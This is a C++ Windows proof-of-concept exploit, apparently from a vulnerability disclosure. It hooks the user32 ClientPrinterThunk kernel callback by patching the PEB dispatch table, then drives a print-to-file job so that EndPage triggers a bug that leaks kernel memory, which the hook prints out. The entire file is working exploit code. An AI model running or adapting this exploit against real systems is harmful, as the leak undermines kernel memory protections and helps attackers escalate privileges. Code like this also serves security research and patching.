#include <Windows.h>
|
#include <cstdio>
|
|
namespace globals {
|
LPVOID(WINAPI *OrigClientPrinterThunk)(LPVOID);
|
} // namespace globals
|
|
PVOID *GetUser32DispatchTable() {
|
__asm {
|
mov eax, fs:30h
|
mov eax, [eax + 0x2c]
|
}
|
}
|
|
BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
|
PVOID *DispatchTable = GetUser32DispatchTable();
|
DWORD OldProtect;
|
|
if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
|
printf("VirtualProtect#1 failed, %d\n", GetLastError());
|
return FALSE;
|
}
|
|
*lpOrigHandler = DispatchTable[Index];
|
DispatchTable[Index] = lpNewHandler;
|
|
if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
|
printf("VirtualProtect#2 failed, %d\n", GetLastError());
|
return FALSE;
|
}
|
|
return TRUE;
|
}
|
|
LPVOID WINAPI ClientPrinterThunkHook(LPVOID Data) {
|
LPDWORD DwordData = (LPDWORD)Data;
|
if (DwordData[0] == 0x1c && (DwordData[1] == 0x39 || DwordData[1] == 0x3a)) {
|
LPDWORD LeakedData = (LPDWORD)DwordData[6];
|
printf("[+] Leaked data: %.8x %.8x\n", LeakedData[0], LeakedData[1]);
|
}
|
|
return globals::OrigClientPrinterThunk(Data);
|
}
|
|
int main() {
|
// Hook the user32!ClientPrinterThunk callback.
|
if (!HookUser32DispatchFunction(93, ClientPrinterThunkHook, (PVOID *)&globals::OrigClientPrinterThunk)) {
|
printf("Hooking ClientPrinterThunk failed.\n");
|
return 1;
|
}
|
|
// Obtain a print job DC.
|
PRINTDLGA pd = { 0 };
|
pd.lStructSize = sizeof(pd);
|
pd.Flags = PD_RETURNDEFAULT | PD_ALLPAGES | PD_RETURNDC | PD_PRINTTOFILE;
|
pd.nFromPage = 1;
|
pd.nToPage = 1;
|
pd.nCopies = 1;
|
|
if (!PrintDlgA(&pd)) {
|
printf("PrintDlgA failed.\n");
|
return 1;
|
}
|
|
// Initialize the print job.
|
DOCINFOA doc_info = { 0 };
|
doc_info.cbSize = sizeof(doc_info);
|
doc_info.lpszDocName = "Document";
|
doc_info.lpszOutput = "C:\\Windows\\Temp\\output";
|
|
if (StartDocA(pd.hDC, &doc_info) <= 0) {
|
printf("StartDoc failed.\n");
|
return 1;
|
}
|
|
if (StartPage(pd.hDC) <= 0) {
|
printf("StartPage failed.\n");
|
return 1;
|
}
|
|
//
|
// The bug is triggered here.
|
//
|
EndPage(pd.hDC);
|
|
// Free resources.
|
EndDoc(pd.hDC);
|
DeleteDC(pd.hDC);
|
|
return 0;
|
}
|